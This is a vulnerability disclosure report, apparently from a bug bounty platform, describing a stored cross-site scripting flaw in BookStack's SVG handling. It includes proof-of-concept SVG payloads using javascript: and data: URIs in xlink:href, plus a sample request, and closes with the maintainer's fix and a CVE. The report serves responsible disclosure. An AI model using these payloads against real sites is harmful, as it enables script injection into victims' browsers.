Cross-site Scripting (XSS) - Stored in bookstackapp/bookstack


Reported on

Sep 1st 2021

✍️ Description

There is svg tag filtration problem in "book page" egit leading to stored XSS. SVG images can be used on book pages, but there is not server side attribute filtration implemented for it.

🕵️‍♂️ Proof of Concept

There is filter for href attribute, but inside SVG xlink:href used. That means attacker can use both javascript: or data: inside it.

SVG with XSS №1 (user interaction required, acts like <a href=>)

<svg id="test" xmlns=""
width="100" height="100">
<a xlink:href="javascript:alert(document.domain)">
<rect x="0" y="0" width="100" height="100" />

Example request with it

POST /bookstack/public/books/bookname/page/pagename HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 494
DNT: 1
Connection: close
Referer: /bookstack/public/books/bookname/page/pagename
Cookie: <COOKIE>
Upgrade-Insecure-Requests: 1


SVG with XSS №2 (svg inside svg, no user interaction needed to shoot xss) This thing more "spicy": svg hidden inside uses "on"-events, which be filtered on normal circumstances and also it's not visible on page

<svg xmlns="" xmlns:xlink="">
<use xlink:href="data:application/xml;base64 ,

💥 Impact

Stored XSS on book-page


Add filtration to svg-specific tags/attributes

We have contacted a member of the bookstackapp/bookstack team and are waiting to hear back a year ago
bookstackapp/bookstack maintainer
a year ago

Thank you very much for reporting @wezery,

I've now patched the cases found and deployed an update. I've fixed the cases found but this also pushed me to include some built-in CSP rules to hopefully mitigate the risks of things going past our filters.

bookstackapp/bookstack maintainer validated this vulnerability a year ago
wezery has been awarded the disclosure bounty
The fix bounty is now up for grabs
bookstackapp/bookstack maintainer confirmed that a fix has been merged on 040997 a year ago
The fix bounty has been dropped
a year ago


Yeah, CSP is good idea! Thanks for fast response and updates!

Jamie Slome
a year ago


CVE published! 🎉

to join this conversation